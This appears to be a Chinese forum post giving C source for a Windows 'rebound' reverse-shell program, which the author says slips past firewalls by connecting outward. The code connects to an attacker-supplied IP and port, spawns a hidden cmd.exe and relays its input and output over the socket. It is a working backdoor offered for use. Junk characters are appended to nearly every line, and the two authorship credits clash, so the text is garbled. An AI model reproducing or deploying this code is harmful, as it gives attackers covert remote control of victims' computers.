这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]Kr
`9r),
Mn)@{^
/* ============================== lo[.&GD
Rebound port in Windows NT
foQ#a
By wind,2006/7 6`f2-f9%iq
===============================*/ >nzdnF_&zW
#include ,yd?gP-O
#include E9~Ghx.
lT(oL|{#P
#pragma comment(lib,"wsock32.lib") ;3'.C~
kT;S4B
void OutputShell(); -wjN"g<
SOCKET sClient; F&&$Qn_+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; br|;'i%(
dPhQ :sd>
void main(int argc,char **argv) ]\!?qsT3}
{ jYe'V#5S#
WSADATA stWsaData; .k,kTr$S
int nRet; )I3NeKWz
SOCKADDR_IN stSaiClient,stSaiServer; ?Wz8[u
9(@\&>)
if(argc != 3) 8QM(?A
{ :s4p/*f
printf("Useage:\n\rRebound DestIP DestPort\n"); nw-I|PVTNa
return; ~JaAii{
} B>2tZZko
at)~]dG
WSAStartup(MAKEWORD(2,2),&stWsaData); ayiu,DXx
xP [n
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /n>qCuw
}`@728E
stSaiClient.sin_family = AF_INET; Y./2Ely
stSaiClient.sin_port = htons(0); wu)w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~J P=T
1R,:
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vvm0t"|\
{ |9B.mBoX
printf("Bind Socket Failed!\n"); L31HGH2l
return; gXjV?"^kUl
} <kCU@SK
2o'Wy
stSaiServer.sin_family = AF_INET; Ry'= ke
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,gS;m
&!'J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [<6S%s
Z
/9>
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u,UmrR
{ :3I@(k\PY
printf("Connect Error!"); Qc pm!
return; ZSG9t2qlv
} (JM5`XwM
OutputShell(); CY"/uSB
} JhLgCnm
8p: j&F
void OutputShell() =17t-
[
{ Ba!J"b]
char szBuff[1024]; pim!.=vN/U
SECURITY_ATTRIBUTES stSecurityAttributes; }&[
OSVERSIONINFO stOsversionInfo; )/wk( O+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (Kv#m
3~
STARTUPINFO stStartupInfo; |y2w9n0D
char *szShell; v+X)Qmzf~
PROCESS_INFORMATION stProcessInformation; tfGHea)M
unsigned long lBytesRead; yI"6Da6|y
W`u[h0\c
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); apu4DAy&8
]VD|xm:kj
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BYMi6wts
stSecurityAttributes.lpSecurityDescriptor = 0; =,UWX3`f
stSecurityAttributes.bInheritHandle = TRUE; W;,C_
"*Tb"
'O
`nZ )>
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e8GEoD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u)~C;f)
!y@6Mm
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H kQ)n3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U4b0*` o
stStartupInfo.wShowWindow = SW_HIDE; ;JayoJ
stStartupInfo.hStdInput = hReadPipe; Qx+%"YO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .n~M(59
|\7
ET[Xq
GetVersionEx(&stOsversionInfo); 70eb]\%
SN1}xR$
switch(stOsversionInfo.dwPlatformId) }n4V|f-
{ lx[oaCr
case 1: `|ASx8_!
szShell = "command.com"; z}MP)|aH:
break; ZOZ+ Y\uU
default: ;,?KI$K
szShell = "cmd.exe"; b)e
*$)
break; d2H|LMhJ
} 2(#7[mgPI
B Z?.D_bu
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TztAZ2C
tF{D= ;G
send(sClient,szMsg,77,0); p_${Nj
while(1) qLB)XnQ
{ Ht&:-F+dm
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AMyIAZnYq)
if(lBytesRead) B>0].CK`
{ gk0( ANx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fmb} 2h
send(sClient,szBuff,lBytesRead,0); d~1gMz+)
} mqSQL}vR
else ^h"`}[+
{ lXjXqk\
lBytesRead=recv(sClient,szBuff,1024,0); ]Ccg`AR{
if(lBytesRead<=0) break; 4UW_Do
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #0y)U;dA+w
} XYZ4TeW\1
} +O*/"]h
U'<KC"f:'!
return; /Sc l#4bW
}